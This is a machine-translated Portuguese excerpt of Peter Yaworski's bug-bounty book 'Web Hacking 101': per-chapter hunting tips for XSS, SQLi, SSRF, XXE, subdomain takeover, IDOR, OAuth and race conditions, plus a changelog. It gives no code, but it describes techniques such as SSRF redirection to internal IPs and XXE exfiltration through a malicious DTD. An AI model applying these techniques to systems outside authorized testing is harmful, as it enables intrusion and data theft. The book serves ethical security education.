usuário e falhar ou não soubesse sobre as vulnerabilidades do tipo HPP, ele não teria recebido sua
recompensa de $ 700.
Além disso, fique atento a parâmetros, como UID, sendo incluídos em solicitações HTTP, pois muitas
vulnerabilidades envolvem a manipulação de valores de parâmetros para fazer com que os aplicativos
da Web façam coisas inesperadas.
Isso é semelhante à vulnerabilidade UID Twitter anterior. Sem surpresa, quando um site é vulnerável
a uma falha como HPP, pode ser indicativo de um problema sistêmico mais amplo. Às vezes, se
você encontrar uma vulnerabilidade como essa, vale a pena dedicar um tempo para explorar a
plataforma em sua totalidade para ver se há outras áreas onde você pode explorar um comportamento
semelhante.
Falsificação de solicitação entre sites
Nessa situação, a vulnerabilidade pode ter sido encontrada usando um servidor proxy, como o Burp
ou o ZAP da OWASP, para monitorar as solicitações HTTP enviadas à Shopify e observar que se
tratava de uma solicitação GET. As solicitações GET nunca devem modificar nenhum dado no
servidor, mas o WeSecureApp foi capaz de realizar uma ação destrutiva com uma, portanto, você
também deve examinar esses tipos de solicitações.
Ao procurar explorações, amplie o escopo do ataque e olhe além das páginas de um site para incluir
seus endpoints de API, que oferecem grande potencial para vulnerabilidades.
Ocasionalmente, os desenvolvedores às vezes esquecem que os endpoints da API podem ser
descobertos e explorados, pois não estão prontamente disponíveis como páginas da Web (por
exemplo, os endpoints da API móvel exigem a interceptação do tráfego do seu telefone).
Onde há fumaça, há fogo. Aqui, Mahmoud notou que o parâmetro rt estava sendo retornado em
diferentes locais, em particular nas respostas JSON. Por causa disso, ele adivinhou corretamente
que o rt poderia aparecer em algum lugar onde pudesse ser acessado por um invasor e explorado
– que neste caso era um arquivo JavaScript. Se você sentir que algo está errado, continue
cavando. Use um proxy e verifique todos os recursos que estão sendo chamados quando você
visita um site ou aplicativo de destino. Você pode encontrar um vazamento de informações com
dados confidenciais, como um token CSRF.
Além disso, este é um ótimo exemplo de ir além para fornecer uma prova incrível de uma
exploração. Mahmoud não apenas encontrou a vulnerabilidade, mas também forneceu um exemplo
completo de como ela poderia ser explorada por meio de seu HTML.
Injeção de HTML
Ao testar um site, verifique como ele lida com diferentes tipos de entrada, incluindo texto simples e
texto codificado. Fique atento a sites que aceitam valores codificados de URI como %2F e
renderizam seus valores decodificados, neste caso /. Embora não saibamos o que o hacker estava
pensando neste exemplo, é possível que ele tenha tentado codificar caracteres restritos por URI e
notado que a Coinbase os estava decodificando. Eles então deram um passo adiante e o URI
codificou todos os caracteres.
Um ótimo canivete suíço que inclui ferramentas de codificação é https://gchq.github.io/CyberChef/.

Eu recomendo dar uma olhada e adicioná-lo à sua lista de ferramentas úteis.
Só porque o código foi atualizado, não significa que tudo está corrigido. Teste as coisas.
Quando uma alteração é implantada, isso também significa um novo código que pode conter bugs.
Além disso, se você sentir que algo não está certo, continue cavando! Eu sabia que a aspa simples
inicial poderia ser um problema, mas não sabia como explorá-la e parei. Eu deveria ter continuado.
Na verdade, aprendi sobre o exploit de atualização meta lendo o blog.innerht.ml do FileDescriptor
(está incluído no capítulo Recursos), mas muito mais tarde.
Fique de olho nos parâmetros de URL que estão sendo passados e renderizados como conteúdo
do site. Eles podem apresentar oportunidades para os invasores enganarem as vítimas para que
executem alguma ação maliciosa. Às vezes, isso resulta em ataques de script entre sites, enquanto
outras vezes é uma falsificação de conteúdo e injeção de HTML menos impactantes. É importante
ter em mente que, embora este relatório tenha pago US$ 250, essa foi a recompensa mínima para
o Within Security e nem todos os programas valorizam e pagam por esses tipos de relatórios.
Injeções de CRLF
Um bom hacking é uma combinação de observação e habilidade. Nesse caso, @filedescrip tor
sabia de um bug de codificação anterior do Firefox que manipulava incorretamente a codificação.
Com base nesse conhecimento, ele testou uma codificação semelhante no Twitter para inserir
caracteres maliciosos.
Ao procurar vulnerabilidades, lembre-se sempre de pensar fora da caixa e enviar valores

codificados para ver como o site lida com a entrada.
Esteja atento a oportunidades em que um site está aceitando sua entrada e usando-a como
parte de seus cabeçalhos de retorno, principalmente configurando cookies. Isso é particularmente
significativo quando ocorre por meio de uma solicitação GET, pois é necessária menos interação
da vítima.
Script entre sites
Teste tudo, prestando atenção especial às situações em que o texto digitado está sendo
revertido para você. Teste para determinar se você pode incluir HTML ou Javascript para ver
como o site lida com isso. Tente também a entrada codificada semelhante à descrita no capítulo
Injeção de HTML.
As vulnerabilidades XSS não precisam ser intrincadas ou complicadas. Essa vulnerabilidade foi
a mais básica que você pode encontrar - um campo de texto de entrada simples que não
limpava a entrada de um usuário. E foi descoberto em 21 de dezembro de 2015 e rendeu ao
hacker $ 500! Tudo o que era necessário era a perspectiva de um hacker.
Há duas coisas a serem observadas aqui que ajudarão a encontrar vulnerabilidades XSS:
1. A vulnerabilidade neste caso não estava realmente no próprio campo de entrada do arquivo
- estava na propriedade name do campo. Portanto, quando estiver procurando por
oportunidades de XSS, lembre-se de jogar com todos os valores de entrada disponíveis.
2. O valor aqui foi submetido após ser manipulado por um proxy. Isso é fundamental em
situações em que pode haver valores de validação de Javascript no lado do cliente (seu
navegador) antes que qualquer valor realmente volte para o servidor do site.
Na verdade, sempre que você vir a validação acontecendo em tempo real no seu navegador,
deve ser um sinal de alerta que você precisa testar esse campo! Os desenvolvedores podem
cometer o erro de não validar os valores enviados para código mal-intencionado assim que os
valores chegarem ao servidor, porque acham que o código Javascript do navegador já tratou as
validações antes que a entrada fosse recebida.
Vulnerabilidades XSS resultam quando o texto Javascript é processado de forma insegura. É

possível que o texto seja usado em vários locais em um site e, portanto, cada local deve ser
testado. Nesse caso, Shopify não inclui páginas de loja ou checkout para XSS, pois os usuários
têm permissão para usar Javscript em sua própria loja. Teria sido fácil descartar essa vulnerabilidade
antes de considerar se o campo foi usado em sites externos de mídia social.
Passar HTML malformado ou quebrado é uma ótima maneira de testar como os sites estão
analisando a entrada. Como hacker, é importante considerar o que os desenvolvedores ainda não
fizeram. Por exemplo, com tags de imagem regulares, o que acontece se você passar dois atributos src?
Como isso será processado?
Esteja sempre atento às vulnerabilidades. É fácil supor que só porque uma empresa é grande ou
conhecida, tudo foi encontrado. No entanto, as empresas sempre enviam código.
Além disso, existem várias maneiras de executar o javascript, seria fácil desistir neste caso depois
de ver que o Google alterou o valor com um manipulador de eventos onmousedown, ou seja,
sempre que o link foi clicado, com um
rato.
Duas coisas são interessantes aqui. Primeiro, Patrik encontrou uma alternativa para fornecer
entrada - fique atento a isso e teste todos os métodos que um alvo fornece para inserir entrada.
Em segundo lugar, o Google estava limpando a entrada, mas não escapando durante a renderização.
Se eles tivessem escapado da entrada de Patrik, a carga útil não teria sido disparada, pois o HTML
teria sido convertido em caracteres inofensivos.
Há uma série de coisas de que gostei nessa vulnerabilidade que me fizeram querer incluí-
la. Primeiro, a persistência de Mustafa. Em vez de desistir quando sua carga útil não
disparou originalmente, ele vasculhou o código Javascript e descobriu o porquê. Em
segundo lugar, o uso de listas negras deve ser uma bandeira vermelha para todos os
hackers. Fique de olho quando estiver hackeando. Por fim, aprendi muito com o payload e
conversando com @brutelogic. À medida que falo com hackers e continuo aprendendo
sozinho, fica evidente que algum conhecimento de Javascript é essencial para eliminar
vulnerabilidades mais complexas.
SSTI
Esteja atento ao uso de AngularJS e teste os campos usando a sintaxe Angular {{ }}. Para
facilitar sua vida, adquira o plug-in Wappalyzer do Firefox - ele mostrará qual software um
site está usando, incluindo o uso de AngularJS.
Tome nota de quais tecnologias um site está usando, elas geralmente levam a informações
importantes sobre como você pode explorar um site. Nesse caso, Flask e Jinja2 se
mostraram ótimos vetores de ataque. E, como é o caso de algumas das vulnerabilidades
XSS, a vulnerabilidade pode não ser imediata ou prontamente aparente, certifique-se de
verificar todos os locais onde o texto é renderizado. Nesse caso, o nome do perfil no site da
Uber mostrava texto simples e foi o e-mail que realmente revelou a vulnerabilidade.
Essa vulnerabilidade não existiria em todos os sites Rails - dependeria de como o site foi
codificado. Como resultado, isso não é algo que uma ferramenta automatizada irá
necessariamente captar. Esteja atento quando souber que um site é construído usando
Rails, pois a maioria segue uma convenção comum para URLs - no mais básico, é /
controller/id para solicitações GET simples ou /controller/id/edit para edições, etc.
Quando você vir esse padrão de URL surgindo, comece a brincar. Passe valores
inesperados e veja o que é retornado.
Injeção SQL
Este exemplo foi interessante porque não se tratava de enviar uma única citação e quebrar uma
consulta. Em vez disso, tratava-se de como o código do Drupal estava lidando com arrays passados
para funções internas. Isso não é fácil de detectar com o teste de caixa preta (onde você não tem
acesso para ver o código). A conclusão disso é estar atento a oportunidades para alterar a estrutura
da entrada passada para um site. Então, onde uma URL leva ?name como parâmetro, tente passar
um array como ?name[] para ver como o site lida com isso. Pode não resultar em SQLi, mas pode
levar a outro comportamento interessante.
O SQLi, como outras vulnerabilidades de injeção, não é muito difícil de explorar. A chave é testar
os parâmetros que podem ser vulneráveis. Nesse caso, adicionar o traço duplo alterou claramente
os resultados da consulta de linha de base de Stefano, que revelou o SQLi.
Ao procurar por vulnerabilidades semelhantes, fique atento a mudanças sutis nos resultados, pois
elas podem ser indicativas de uma vulnerabilidade cega do SQLi.
Fique atento às solicitações HTTP que aceitam parâmetros codificados. Depois de decodificar e
injetar sua consulta em uma solicitação, certifique-se de recodificar sua carga útil para que tudo
ainda corresponda à codificação que o banco de dados está esperando.
Extrair um nome de banco de dados, nome de usuário e nome de host geralmente é considerado
inofensivo, mas certifique-se de que esteja dentro das ações permitidas do programa de
recompensas em que você está trabalhando. Em alguns casos, o comando sleep é suficiente para
uma prova de conceito.
Falsificação de solicitação do lado do servidor
O Google Dorking é uma ótima ferramenta que economizará seu tempo ao expor todos os tipos de
exploits possíveis. Se você estiver procurando por vulnerabilidades SSRF, fique atento a quaisquer
urls de destino que pareçam estar puxando conteúdo remoto. Nesse caso, foi o url= que deu o
prêmio.
Em segundo lugar, não fuja com o primeiro pensamento que tiver. Brett poderia ter relatado a carga
XSS que não teria sido tão impactante. Ao cavar um pouco mais fundo, ele foi capaz de expor o
verdadeiro potencial dessa vulnerabilidade. Mas ao fazer isso, tome cuidado para não ultrapassar.
Fique atento às oportunidades em que os sites incluem funcionalidade para fazer solicitações
HTTP externas. Quando você se deparar com eles, tente apontar a solicitação internamente
usando o endereço IP da rede privada listado acima.
Se o site não acessar IPs internos, um truque que Justin Kennedy uma vez me recomendou
foi fazer a solicitação HTTP externa para um servidor que você controla e responder a essa
solicitação com um redirecionamento 301. Esse tipo de resposta informa ao solicitante que
o local do recurso solicitado foi alterado e aponta para um novo local. Como você controla a
resposta, pode apontar o redirecionamento para um endereço IP interno para ver se o
servidor fará a solicitação HTTP para a rede interna.
Se você puder enviar um URL para criar web hooks ou importar conteúdo remoto
intencionalmente, tente definir portas específicas. Pequenas alterações em como um servidor
responde a diferentes portas podem revelar se uma porta está aberta/fechada ou filtrada.
Além das diferenças nas mensagens retornadas pelo servidor, as portas podem revelar se
estão abertas/fechadas ou filtradas por quanto tempo o servidor leva para responder à
solicitação.
Vulnerabilidade de entidade externa XML
Mesmo os Big Boys podem ser vulneráveis. Embora este relatório tenha quase 2 anos,
ainda é um grande exemplo de como as grandes empresas podem cometer erros. O XML
necessário para fazer isso pode ser facilmente carregado em sites que usam analisadores de XML.
No entanto, às vezes o site não emite uma resposta, então você precisará testar outras
entradas da folha de dicas OWASP acima.
Há alguns tópicos aqui. Os arquivos XML vêm em diferentes formas e tamanhos - fique
atento a sites que aceitam .docx, .xlsx, .pptx, etc. Como mencionei anteriormente, às vezes
você não receberá a resposta de XXE imediatamente - este exemplo mostra como você
pode configurar um servidor para ser pingado, o que demonstra o XXE.
Além disso, como em outros exemplos, às vezes os relatórios são inicialmente rejeitados. É
importante ter confiança e mantê-la trabalhando com a empresa à qual você está se
reportando, respeitando sua decisão e explicando por que algo pode ser uma vulnerabilidade.
Conforme mencionado, este é um ótimo exemplo de como você pode usar modelos XML de um
site para incorporar suas próprias entidades XML para que o arquivo seja analisado corretamente
pelo destino. Neste caso, o Wikiloc esperava um arquivo .gpx e David manteve essa estrutura,
inserindo suas próprias entidades XML dentro das tags esperadas, especificamente, a tag <name>.
Além disso, é interessante ver como o retorno de um arquivo dtd malicioso pode ser aproveitado
para subsequentemente fazer com que um alvo faça solicitações GET ao seu servidor com o
conteúdo do arquivo como parâmetros de URL.
Execução Remota de Código
A leitura é uma grande parte do hacking bem-sucedido e isso inclui ler sobre vulnerabilidades de
software e vulnerabilidades e exposições comuns (identificadores CVE).
Conhecer as vulnerabilidades anteriores pode ajudá-lo quando você encontrar sites que não
acompanharam as atualizações de segurança. Nesse caso, o Yahoo corrigiu o servidor, mas foi
feito incorretamente (não consegui encontrar uma explicação do que isso significava). Como
resultado, saber sobre a vulnerabilidade do ImageMagick permitiu que Ben visasse especificamente
esse software, o que resultou em uma recompensa de $ 2.000.
Embora nem sempre seja emocionante e de cair o queixo, realizar o reconhecimento adequado
pode ser valioso. Aqui, Michiel encontrou uma vulnerabilidade aberta desde 6 de abril de 2014,
simplesmente executando o Gitrob no repositório Angolia Facebook-Search acessível ao público.
Uma tarefa que pode ser iniciada e executada enquanto você continua a pesquisar e hackear
outros alvos, voltando a ela para revisar as descobertas assim que estiver concluída.
Trabalhar nessa vulnerabilidade foi muito divertido. O rastreamento de pilha inicial foi uma bandeira
vermelha de que algo estava errado e, como algumas outras vulnerabilidades detalhadas no livro,
onde há fumaça, há fogo. Embora a postagem do blog de James Kettle tenha de fato incluído a
carga maliciosa a ser usada, eu a ignorei. No entanto, isso me deu a oportunidade de aprender e
fazer o exercício de ler a documentação do Smarty. Fazer isso me levou às variáveis reservadas e
à tag {php} para executar meu próprio código.
Memória
Buffer Overflows é uma vulnerabilidade antiga e bem conhecida, mas ainda comum ao lidar com
aplicativos que gerenciam sua própria memória, particularmente C e C++.
Se você descobrir que está lidando com um aplicativo da Web baseado na linguagem C (na qual
o PHP foi escrito), estouros de buffer são uma possibilidade distinta. No entanto, se você está
apenas começando, provavelmente vale mais a pena encontrar vulnerabilidades relacionadas à
injeção mais simples e voltar aos estouros de buffer quando tiver mais experiência.
Agora vimos exemplos de duas funções que implementadas incorretamente são altamente
suscetíveis a estouros de buffer, memcpy e strcpy. Se soubermos que um site ou aplicativo
depende de C ou C++, é possível pesquisar nas bibliotecas de código-fonte dessa linguagem (use
algo como grep) para encontrar implementações incorretas.
A chave será encontrar implementações que passem uma variável de comprimento fixo como o
terceiro parâmetro para qualquer função, correspondendo ao tamanho dos dados a serem
alocados quando os dados que estão sendo copiados são de fato de comprimento variável.
No entanto, como mencionado acima, se você está apenas começando, pode valer mais a pena
desistir de procurar esses tipos de vulnerabilidades, voltando a eles quando estiver mais confortável
com o hacking de chapéu branco.
Este é um exemplo de uma vulnerabilidade muito complexa. Embora pareça muito técnico para o
propósito deste livro, incluí-o para demonstrar as semelhanças com o que já aprendemos. Quando
analisamos isso, essa vulnerabilidade também estava relacionada a um erro na implementação
do código C associado ao gerenciamento de memória, especificamente a cópia de memória.
Novamente, se você for começar a se aprofundar na programação de nível C, comece a procurar
as áreas onde os dados estão sendo copiados de um local de memória para outro.
Assim como Buffer Overflows, Memory Corruption é uma vulnerabilidade antiga, mas ainda
comum ao lidar com aplicativos que gerenciam sua própria memória, particularmente C e C++. Se
você descobrir que está lidando com um aplicativo da Web baseado na linguagem C (na qual o
PHP foi escrito), procure maneiras de manipular a memória. No entanto, novamente, se você está
apenas começando, provavelmente vale mais a pena encontrar vulnerabilidades relacionadas à
injeção mais simples e voltar à corrupção de memória quando tiver mais experiência.
Aquisição de Subdomínio
As entradas de DNS apresentam uma oportunidade nova e única de expor vulnerabilidades. Use o
KnockPy na tentativa de verificar a existência de subdomínios e, em seguida, confirme se eles
estão apontando para recursos válidos, prestando atenção especial a provedores de serviços
terceirizados como AWS, Github, Zendesk, etc. - serviços que permitem registrar URLs
personalizados.
PRESTAR ATENÇÃO! Essa vulnerabilidade foi encontrada em fevereiro de 2016 e não era nada
complexa. A caça de insetos bem-sucedida requer observação aguçada.
Conforme descrito, existem vários tópicos aqui. Primeiro, comece a usar crt.sh para descobrir
subdomínios. Parece ser uma mina de ouro de metas adicionais dentro de um programa. Em
segundo lugar, as aquisições de subdomínio não se limitam apenas a serviços externos como S3,
Heroku, etc. Aqui, Sean deu o passo extra de realmente registrar o domínio expirado que o Shopify
estava apontando. Se ele fosse malicioso, poderia ter copiado a página de login da Shopify no
domínio e começado a coletar as credenciais do usuário.
Mais uma vez, temos alguns take away aqui. Primeiro, ao procurar por aquisições de subdomínios,
fique atento aos URLs *.global.ssl.fastly.net , pois o Fastly é outro serviço da Web que permite
aos usuários registrar nomes em um espaço de nomes global. Quando os domínios são vulneráveis,
o Fastly exibe uma mensagem do tipo “O domínio do Fastly não existe”.
Em segundo lugar, sempre dê um passo extra para confirmar suas vulnerabilidades. Nesse caso,
Ebrietas pesquisou as informações do certificado SSL para confirmar que pertencia ao Snapchat
antes de relatar. Por fim, as implicações de uma aquisição nem sempre são imediatamente
aparentes. Neste caso, Ebrietas não pensou que este serviço foi usado até que ele viu o tráfego
chegando. Se você encontrar uma vulnerabilidade de aquisição, deixe o serviço ativo por algum
tempo para ver se algum pedido chega. Isso pode ajudá-lo a determinar a gravidade do problema
para explicar a vulnerabilidade do programa ao qual você está relatando, que é um dos componentes
de um relatório eficaz, conforme discutido no capítulo Relatórios de vulnerabilidade.
Incluí este exemplo por dois motivos; primeiro, quando Frans tentou reivindicar o subdomínio
no Modulus, a correspondência exata foi obtida. No entanto, em vez de desistir, ele tentou
reivindicar o domínio curinga. Embora não possa falar por outros hackers, não sei se teria
tentado isso se estivesse no lugar dele. Portanto, daqui para frente, se você se encontrar
na mesma posição, verifique se os serviços de terceiros permitem a reivindicação de curinga.
Em segundo lugar, Frans realmente reivindicou o subdomínio. Embora isso possa ser óbvio
para alguns, quero reiterar a importância de provar a vulnerabilidade que você está
relatando. Nesse caso, Frans deu um passo extra para garantir que poderia reivindicar o
subdomínio e hospedar seu próprio conteúdo. Isso é o que diferencia os grandes hackers
dos bons hackers, fazendo um esforço extra para garantir que você não esteja relatando
falsos positivos.
Essa vulnerabilidade é outro exemplo de como pode ser inestimável explorar serviços de
terceiros, bibliotecas etc. que os sites estão usando. Ao ler a documentação, aprender sobre
o SendGrid e entender os serviços que eles fornecem, o Uranium238 encontrou esse
problema. Além disso, este exemplo demonstra que, ao procurar oportunidades de
aquisição, fique atento à funcionalidade que permite reivindicar subdomínios.
Condições da corrida
As condições de corrida são um vetor de vulnerabilidade interessante que às vezes pode

existir quando os aplicativos lidam com algum tipo de saldo, como dinheiro, créditos, etc.
Encontrar a vulnerabilidade nem sempre acontece na primeira tentativa e pode exigir várias
solicitações repetidas e simultâneas. Aqui, Egor fez seis solicitações antes de obter sucesso
e depois fez uma compra para confirmar a prova de conceito.
Encontrar e explorar essa vulnerabilidade foi realmente muito divertido, uma minicompetição
comigo mesmo e com a plataforma HackerOne, já que eu tinha que clicar nos botões muito
rápido. Mas, ao tentar identificar vulnerabilidades semelhantes, procure situações que
possam se enquadrar nas etapas que descrevi acima, onde há uma pesquisa de banco de
dados, lógica de codificação e atualização de banco de dados. Esse cenário pode se prestar
a uma vulnerabilidade de condição de corrida.
Além disso, procure maneiras de automatizar seus testes. Felizmente para mim, consegui
isso sem muitas tentativas, mas provavelmente teria desistido depois de 4 ou 5 devido à
necessidade de remover usuários e reenviar convites para cada teste.
Aceitar e pagar por esse tipo de condição de corrida, convidando mais pessoas do que o permitido para um
site, depende das prioridades, funcionalidade e perfil de risco de um programa. Nesse caso, o Keybase
provavelmente aceitou isso porque estava tentando gerenciar o número de usuários registrados em seu site,
que foi ignorado.
Este não é o caso de todos os programas de recompensas de bugs que incluem a funcionalidade de convite,
conforme demonstrado com o exemplo de convite do HackerOne discutido anteriormente. Se relatar algo
semelhante, certifique-se de articular claramente por que seu relatório deve ser considerado uma
vulnerabilidade.
Ao usar um site, se você perceber que ele está processando dados bem depois de visitá-lo, provavelmente
está usando um trabalho em segundo plano para processar dados. Este é um sinal de alerta de que você
deve testar as condições que definem o trabalho para ver se o site agirá nas novas condições em relação às
antigas. Neste exemplo, foi a combinação de pagamentos do HackerOne para um endereço de e-mail versus
o envio de dinheiro para endereços de e-mail específicos.
Certifique-se de testar o comportamento minuciosamente, pois o processamento em segundo plano pode
ocorrer em qualquer lugar, desde muito rapidamente até muito depois, dependendo de quantos trabalhos
foram enfileirados para serem concluídos e da abordagem do site para processamento de dados.
Referências inseguras de objetos diretos
Se você estiver procurando por vulnerabilidades baseadas em autenticação, fique atento para onde as
credenciais estão sendo passadas para um site. Embora essa vulnerabilidade tenha sido detectada ao
observar o código-fonte da página, você também pode ter notado as informações sendo transmitidas ao usar
um interceptador Proxy.
Se você encontrar algum tipo de credencial sendo passada, observe quando elas não parecerem
criptografadas e tente brincar com elas. Nesse caso, o PIN era apenas CRXXXXXX enquanto a senha era
0e552ae717a1d08cb134f132 claramente o PIN não foi criptografado enquanto a senha era. Valores não
criptografados representam uma boa área para começar a brincar.
O teste para IDORs requer observação aguçada, bem como habilidade. Ao analisar solicitações HTTP em
busca de vulnerabilidades, fique atento a identificadores de conta, como o Administration_id acima. Embora
o nome do campo, Administration_id seja um pouco enganoso em comparação com o fato de ser chamado
de account_id, ser um inteiro simples era um sinal de alerta que eu deveria verificar. Além disso, devido ao
tamanho do parâmetro, teria sido difícil explorar a vulnerabilidade sem causar muito ruído na rede, tendo
que repetir as solicitações em busca do ID correto. Se você encontrar vulnerabilidades semelhantes, para
melhorar seu relatório, esteja sempre atento a respostas HTTP, urls etc. que revelem ids. Felizmente para
mim, o id de que eu precisava estava incluído no URL da conta.
Embora semelhante ao exemplo do Moneybird acima, em que ambos exigiam o abuso de IDs
de organização vazados para elevar privilégios, este exemplo é ótimo porque demonstra a
gravidade de poder atacar usuários remotamente, com zero interação em seu nome e a
necessidade de demonstrar um completo explorar. Inicialmente, Akhil não incluiu ou demonstrou
o controle total da conta e, com base na resposta do Twitter à sua menção (ou seja, solicitando
detalhes e etapas completas para fazer isso), eles podem não ter considerado esse impacto
ao resolver inicialmente a vulnerabilidade. Portanto, ao relatar, certifique-se de considerar e
detalhar totalmente o impacto total da vulnerabilidade que está relatando, incluindo as etapas
para reproduzi-la.
OAuth
Ao procurar vulnerabilidades, considere como ativos obsoletos podem ser explorados.

Quando estiver hackeando, fique atento a alterações de aplicativos que podem deixar recursos
como esses expostos. Este exemplo de Philippe é incrível porque começou com ele
identificando um objetivo final, roubando tokens OAuth e, em seguida, encontrando os meios
para fazer isso.
Além disso, se você gostou deste exemplo, deveria conferir o Blog do Philippe1 (incluído no
capítulo Recursos) e a entrevista Hacking Pro Tips que ele se sentou comigo para fazer - ele
fornece muitos bons conselhos!.
Embora um pouco antiga, essa vulnerabilidade demonstra como as validações OAuth

redirect_uri podem ser configuradas incorretamente pelos servidores de recursos. Nesse
caso, foi a implementação do OAuth pelo Slack que permitiu que um invasor adicionasse
sufixos de domínio e roubasse tokens.
Existem alguns tópicos aqui. Primeiro, as vulnerabilidades OAuth nem sempre são sobre roubo
de tokens. Fique atento às solicitações de API protegidas por OAuth que não estão enviando
ou validando o token (ou seja, tente remover o cabeçalho do token OAuth se houver um
identificador, como o ID da planilha, na URL). Em segundo lugar, é importante reconhecer e
entender como os navegadores interpretam Javascript e JSON. Essa vulnerabilidade foi
parcialmente possível porque o Google estava retornando um objeto Javascript válido que
continha JSON. Por fim, embora seja um tema comum no livro, leia a documentação. A
documentação do Google sobre as respostas foi fundamental para desenvolver uma prova de
conceito funcional que enviava os dados da planilha para um
servidor remoto.
Vulnerabilidades da lógica do aplicativo
Existem duas dicas importantes aqui. Primeiro, nem tudo é sobre injetar código, HTML, etc.
Lembre-se sempre de usar um proxy e observar quais informações estão sendo passadas para
um site e brincar com elas para ver o que acontece. Nesse caso, bastou remover os parâmetros
do POST para ignorar as verificações de segurança. Em segundo lugar, novamente, nem todos
os ataques são baseados em páginas da Web em HTML. Os endpoints da API sempre apresentam
uma área potencial de vulnerabilidade, portanto, considere e teste ambos.
Apesar de ser uma breve descrição, a conclusão aqui não pode ser exagerada, fique atento a
novas funcionalidades!. Quando um site implementa uma nova funcionalidade, é carne fresca.
A nova funcionalidade representa a oportunidade de testar novos códigos e procurar por bugs.
Isso foi o mesmo para as vulnerabilidades Shopify Twitter CSRF e Facebook XSS.
Para aproveitar ao máximo isso, é uma boa ideia se familiarizar com as empresas e se inscrever
em blogs, boletins informativos etc. para ser notificado quando algo for lançado. Em seguida,
teste.
Ao avaliar um alvo em potencial, certifique-se de anotar todas as ferramentas diferentes, incluindo

serviços da Web, que eles parecem estar usando. Cada serviço, software, sistema operacional
etc. que você encontrar revela um novo vetor de ataque em potencial. Além disso, é uma boa
ideia se familiarizar com as ferramentas populares da Web, como AWS S3, Zendesk, Rails, etc.,
que muitos sites usam.
Existem várias conclusões a partir disso:
1. Não subestime sua engenhosidade e o potencial de erros dos desenvolvedores. HackerOne

é uma equipe incrível de pesquisadores de segurança incríveis.
Mas as pessoas cometem erros. Desafie suas suposições.
2. Não desista na primeira tentativa. Quando descobri isso, navegar em cada balde não estava
disponível e quase fui embora. Mas então tentei escrever um arquivo e funcionou.
3. É tudo sobre o conhecimento. Se você souber quais tipos de vulnerabilidades existem,

saberá o que procurar e testar. Comprar este livro foi um grande primeiro passo.
4. Já disse antes, vou repetir, uma superfície de ataque é mais do que o site, são também os
serviços que a empresa está usando. Pense fora da caixa.
A autenticação de dois fatores é um sistema complicado de acertar. Quando você perceber que um
site o está usando, teste completamente todas as funcionalidades, incluindo tempo de vida do token,
número máximo de tentativas, reutilização de tokens expirados, probabilidade de adivinhar um token
etc.
Ao hackear, considere toda a infraestrutura de uma empresa como um jogo justo, a menos que eles
digam que está fora do escopo. Embora este relatório não tenha pago uma recompensa, sei que Patrik
empregou técnicas semelhantes para encontrar alguns pagamentos significativos de quatro dígitos.
Além disso, você notará que havia 260.000 endereços em potencial aqui, o que seria impossível
verificar manualmente. Ao realizar esse tipo de teste, a automação é extremamente importante e algo
que deve ser empregado.
O código-fonte Javascript fornece o código-fonte real de um destino que você pode explorar. Isso é
ótimo porque seu teste vai da caixa preta, sem ter ideia do que o back-end está fazendo, para a caixa
branca (embora não totalmente), onde você tem uma visão de como o código está sendo executado.
Isso não significa que você tenha que percorrer cada linha, a chamada POST neste caso foi encontrada
na linha 20570 com uma simples pesquisa por POST.
Subdomínios e configurações de rede mais amplas representam grande potencial para hacking. Se
você perceber que um programa está incluindo *.SITE.com em seu escopo, tente encontrar
subdomínios que possam ser vulneráveis, em vez de ir atrás do fruto mais fácil no site principal que
todos podem estar procurando. Também vale a pena se familiarizar com ferramentas como Nmap,
eyewitness, knockpy, etc., que o ajudarão a seguir o exemplo de Andy.
Incluí este exemplo porque ele demonstra duas coisas - primeiro, embora reduza o impacto da
vulnerabilidade, há momentos em que relatar um bug que assume que um invasor conhece o nome
de usuário e a senha da vítima é aceitável, desde que você possa explicar qual é a vulnerabilidade e
demonstrar sua gravidade.
Em segundo lugar, ao testar as vulnerabilidades relacionadas à lógica do aplicativo, considere as

diferentes maneiras pelas quais um aplicativo pode ser acessado e se os comportamentos relacionados
à segurança são consistentes entre as plataformas. Nesse caso, foram navegadores e aplicativos
móveis, mas também podem incluir aplicativos de terceiros ou endpoints de API.
27. Apêndice B - Web Hacking

101 Changelog
29 de novembro de 2018
Capítulo de introdução reescrito
Adicionadas novas ferramentas ao capítulo Ferramentas (Gowitness, Gobuster, Meg)
11 de março de 2018
Descrição reescrita para XSS, SSTI, SQLi, SSRF, Race Conditions
Adicionado novo exemplo Orange Uber SQLi
Adicionado novo exemplo de varredura de porta SSRF
Adicionados dois novos exemplos de condição de corrida, Keybase e HackerOne
11 de julho de 2017
Adicionada nova vulnerabilidade SSRF do Google
12 de março de 2017
Pequenas correções de erros de digitação e gramática ao longo do livro
Reescreveu as descrições de capítulo Open Redirect, HPP, CSRF, HTML Injection, CRLF e revisou os exemplos
associados
Exemplo de aquisição de subdomínio Uber adicionado

Apêndice B - Web Hacking 101 Changelog 243
Exemplo de OAuth do Planilhas Google adicionado
Adicionados novos exemplos de IDOR, Moneybird e Twitter
Adicionado novo exemplo de lógica de aplicativo do Twitter
Adicionado novo capítulo OAuth e um exemplo
O exemplo OAuth do Facebook de Philippe foi movido de Subdomain Takeovers para

OAuth
Capítulos reordenados e adicionados Race Conditions e IDOR como seus próprios capítulos
Adicionado GitRob e RaceTheWeb no capítulo Ferramentas
Adicionado novo exemplo de condições de corrida do HackerOne, aceitando convites
3 de outubro de 2016
Adicionadas duas novas vulnerabilidades de Execução Remota de Código
Capítulo XXE atualizado para esclarecer o exemplo do Facebook
Várias correções de erros de digitação
21 de setembro de 2016
Adicionado novo subdomínio assumindo o exemplo, # 6 - api.legalrobot.com
Adicionado Apêndice B de Retiradas
23 de agosto de 2016
Exemplo de aquisição de novo subdomínio adicionado, nº 5 - aquisição de Snapcchat fastly.sc
Adicionadas novas ferramentas: XSSHunter, Censys, OnlineHashCrack, Ysoserial
Adicionado novo cheatsheet para AngularJS, incluindo a fuga de sandbox 1.5.7

Web Hacking 101 - How To Make Money Hacking Ethically by Peter Yaworski Portugues

Enviado por

Dados do documento

Título original

Direitos autorais

Formatos disponíveis

Compartilhar este documento

Compartilhar ou incorporar documento

Opções de compartilhamento

Você considera este documento útil?

Este conteúdo é inapropriado?

Direitos autorais:

Formatos disponíveis

Web Hacking 101 - How To Make Money Hacking Ethically by Peter Yaworski Portugues

Enviado por

Direitos autorais:

Formatos disponíveis

Machine Translated by Google

Machine Translated by Google

Hacking na Web 101

Este livro está à venda em http://leanpub.com/web-hacking-101

Esta versão foi publicada em 2018-11-30

© 2015 - 2018 Peter Yaworski

Tweete este livro!

A todos que adquiriram uma cópia deste, obrigado!

